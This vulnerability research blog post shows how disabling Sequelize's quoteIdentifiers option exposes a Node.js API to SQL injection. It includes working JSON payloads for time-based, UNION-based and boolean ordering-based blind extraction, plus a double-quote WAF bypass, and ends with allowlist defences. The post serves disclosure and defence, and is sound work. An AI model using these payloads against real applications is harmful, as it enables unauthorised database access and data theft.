# Is the SQL Injection Optional?

2023-06-29 · Matt Landers · 10 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/optional-sql-injection

---

## Introduction

SQL injection remains one of the sharpest threats to web applications. This is a walkthrough of a blind SQL injection vulnerability in a Node.js application, caused by one insecure configuration option in Sequelize, a popular Object-Relational Mapping library. Sequelize's documentation warns about the security implications of that option, but the warning never spells out the actual risk.

## Baseline

To isolate the vulnerability, the analysis uses a simple Node.js application with three endpoints:

1. A root endpoint providing JSON listings of Sequelize Models
2. A dynamic REST API for retrieving records by model name
3. An endpoint allowing user-controlled selection of model attributes, paging, and sorting

### Sequelize quoteIdentifiers Option

The `quoteIdentifiers` option controls whether Sequelize wraps database identifiers in quotes. Disabling it is sometimes necessary when advanced features conflict with Sequelize's query generation. The documentation's warning about disabling it says nothing specific about the vulnerability vectors it opens.

## The filter Endpoint

The application's controller accepts POST requests, validates input, and passes filtering options to Sequelize's `findAll()` function. The endpoint accepts attributes, sorting parameters, and limit values directly from user input.

## Attack Examples

### Behavior Enumeration with quoteIdentifiers Enabled (Default)

When `quoteIdentifiers` is enabled, test payloads demonstrate that:

- Double quotes in payloads are removed rather than escaped
- Single quotes are properly escaped by doubling them
- String injection results in empty objects rather than data leakage

The use of Sequelize's `col()` function to wrap parameters adds additional quoting that further protects against injection.

### Exploitation with quoteIdentifiers Disabled

When `quoteIdentifiers` is disabled, multiple exploitation vectors emerge:

**Basic Injection:**

```
Payload: {"attributes":["categoryname, current_user"]}
Result: SELECT categoryname, current_user FROM categories AS categories;
```

This demonstrates direct SQL injection where user input becomes part of the query.

**String Literal Injection:**

```
Payload: {"attributes":["categoryname, 'string'"]}
Result: SELECT categoryname, 'string' FROM categories AS categories;
```

**Time-Based Blind SQL Injection:**

```
Payload: {"attributes":["1, (SELECT pg_sleep(5))"]}
Result: SELECT 1, (SELECT pg_sleep(5)) FROM categories AS categories;
```

The payload executes as a subquery, creating observable delays without direct data return.

**UNION-Based Data Exfiltration:**

```
Payload: {"attributes":["null AS asdf UNION SELECT current_user –", "asdf"]}
Result: SELECT null AS asdf UNION SELECT current_user –, asdf FROM categories;
Returns: {"asdf":"pguser"}
```

This bypasses blind exploitation by requesting an invalid column name that coincides with the injection payload's output.

### Advanced Exploitation Using col()

The `col()` function, even with `quoteIdentifiers` disabled, still applies quoting but removes double quotes from input rather than escaping them.

**Function-Based Ordering:**

```
Payload: {"sort":"substr(categoryname, 2, 1)"}
Result: SELECT category, categoryname FROM categories AS categories 
         ORDER BY substr(categoryname, 2, 1);
```

Results are observably reordered based on the function output, providing an information channel.

**Boolean-Based Conditional Ordering:**

```
Payload: {"sort":"substr(categoryname, CASE WHEN EXISTS(SELECT 1) 
         THEN 2 ELSE 1 END, 1)"}
```

This uses a CASE statement to change sorting behavior based on whether a subquery returns results, creating a boolean detection mechanism.

**Practical Data Extraction:**

```
Payload: {"sort":"substr(categoryname, CASE WHEN EXISTS(SELECT 1 FROM pg_user 
         WHERE usename like 'pg%') THEN 2 ELSE 1 END, 1)"}
```

When the condition is true (user starting with "pg" exists), records sort by the second character. When false, they sort by the first character. This difference is observable without direct query output.

## WAF Bypass Technique

The `col()` function's character removal behavior can bypass Web Application Firewalls. By inserting double quotes into payloads, attackers can obfuscate blocked keywords:

```
Payload: {"sort":"sub\"str(categoryname, CA\"SE W\"HE\"N E\"XI\"ST\"S(SE\"LE\"CT 1..."}
Processing: Double quotes are removed, reconstructing valid SQL
Result: Bypasses keyword-based blocking while maintaining functionality
```

## Defense Recommendations

Input sanitization should never rely on the ORM library alone. Recommended defenses:

- Creating allowlists of acceptable column names using the model's `getAttributes()` function
- Comparing user-supplied values against the allowlist before processing
- Validating model names similarly using `Sequelize.models` and `Object.keys()`
- Preferring allowlists over blocklists for input validation

## Key Takeaways

Disabling `quoteIdentifiers` strips away nearly every observable defense Sequelize provides. This option governs fundamental security protections, not a formatting preference, and developers should treat it that way. The `col()` function is useful for advanced query construction, but any exposure of it to user-controlled input needs careful thought.